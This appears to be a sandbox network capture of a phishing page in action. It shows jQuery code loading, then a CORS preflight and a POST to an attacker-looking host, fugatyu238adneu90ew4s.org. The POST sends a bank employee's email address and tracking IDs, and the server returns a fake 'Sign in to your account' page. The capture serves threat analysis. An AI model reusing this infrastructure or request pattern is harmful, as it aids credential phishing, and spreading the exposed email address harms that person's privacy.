2024-12-18 22:24:14 UTC	1369	IN	Data Raw: 31 36 29 2b 22 20 22 3a 22 5c 5c 22 2b 65 7d 2c 6f 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 48 2e 61 70 70 6c 79 28 74 3d 4f 2e 63 61 6c 6c 28 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 74 5b 70 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 Data Ascii: 16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.lengt
2024-12-18 22:24:14 UTC	1369	IN	Data Raw: 3d 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 Data Ascii: =[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChi
2024-12-18 22:24:14 UTC	1369	IN	Data Raw: 6e 2c 72 3d 65 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 3a 70 3b 72 65 74 75 72 6e 20 72 21 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 70 21 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e 74 6f 70 21 3d 3d 6e 26 26 28 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 6c 6f 61 64 22 2c 6f 65 2c 21 31 29 3a 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 73 63 6f 70 65 3d 63 65 28 Data Ascii: n,r=e?e.ownerDocument\|\|e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(
2024-12-18 22:24:14 UTC	1369	IN	Data Raw: 3d 69 5b 72 2b 2b 5d 29 69 66 28 28 6e 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 29 26 26 6e 2e 76 61 6c 75 65 3d 3d 3d 65 29 72 65 74 75 72 6e 5b 6f 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 Data Ascii: =i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r
2024-12-18 22:24:14 UTC	1369	IN	Data Raw: 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4d 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 64 69 73 61 62 Data Ascii: ement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"[^$\|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disab

Timestamp	Bytes transferred	Direction	Data
2024-12-18 22:24:17 UTC	467	OUT	OPTIONS /api/v3/auth HTTP/1.1 Host: fugatyu238adneu90ew4s.org Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 22:24:18 UTC	390	IN	HTTP/1.1 200 OK date: Wed, 18 Dec 2024 22:24:17 GMT server: uvicorn vary: Origin access-control-allow-methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT access-control-max-age: 600 access-control-allow-credentials: true access-control-allow-origin: null access-control-allow-headers: content-type content-length: 2 content-type: text/plain; charset=utf-8 connection: close
2024-12-18 22:24:18 UTC	2	IN	Data Raw: 4f 4b Data Ascii: OK

Timestamp	Bytes transferred	Direction	Data
2024-12-18 22:24:19 UTC	607	OUT	POST /api/v3/auth HTTP/1.1 Host: fugatyu238adneu90ew4s.org Connection: keep-alive Content-Length: 171 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 22:24:19 UTC	171	OUT	Data Raw: 7b 22 75 75 69 64 22 3a 22 33 38 37 30 32 64 30 36 2d 61 61 30 39 2d 34 39 30 36 2d 39 31 32 61 2d 62 31 62 32 63 36 39 61 35 35 66 61 22 2c 22 69 64 65 6e 74 69 66 69 65 72 22 3a 22 38 38 33 38 35 35 36 64 2d 39 63 38 30 2d 34 39 65 34 2d 39 65 35 35 2d 34 35 64 36 30 64 65 35 35 34 63 66 22 2c 22 73 65 72 76 65 72 22 3a 22 66 75 67 61 74 79 75 32 33 38 61 64 6e 65 75 39 30 65 77 34 73 2e 6f 72 67 22 2c 22 75 73 65 72 22 3a 22 6b 6c 65 76 65 72 40 65 6e 6e 69 73 73 74 61 74 65 62 61 6e 6b 2e 63 6f 6d 22 7d Data Ascii: {"uuid":"38702d06-aa09-4906-912a-b1b2c69a55fa","identifier":"8838556d-9c80-49e4-9e55-45d60de554cf","server":"fugatyu238adneu90ew4s.org","user":"klever@ennisstatebank.com"}
2024-12-18 22:24:22 UTC	219	IN	HTTP/1.1 200 OK date: Wed, 18 Dec 2024 22:24:18 GMT server: uvicorn content-length: 15411 content-type: application/json access-control-allow-origin: * access-control-allow-credentials: true connection: close
2024-12-18 22:24:22 UTC	15411	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 74 79 70 65 22 3a 22 4e 61 74 69 76 65 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 3c 68 74 6d 6c 20 64 69 72 3d 5c 22 6c 74 72 5c 22 20 6c 61 6e 67 3d 5c 22 65 6e 5c 22 3e 5c 6e 20 20 3c 68 65 61 64 3e 5c 6e 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 3c 2f 74 69 74 6c 65 3e 5c 6e 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 5c 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 5c 22 20 63 6f 6e 74 65 6e 74 3d 5c 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 5c 22 3e 5c 6e 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 5c 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 5c 22 20 63 6f 6e 74 Data Ascii: {"status":"success","type":"Native","message":"<html dir=\"ltr\" lang=\"en\">\n <head>\n <title>Sign in to your account</title>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n <meta http-equiv=\"X-UA-Compatible\" cont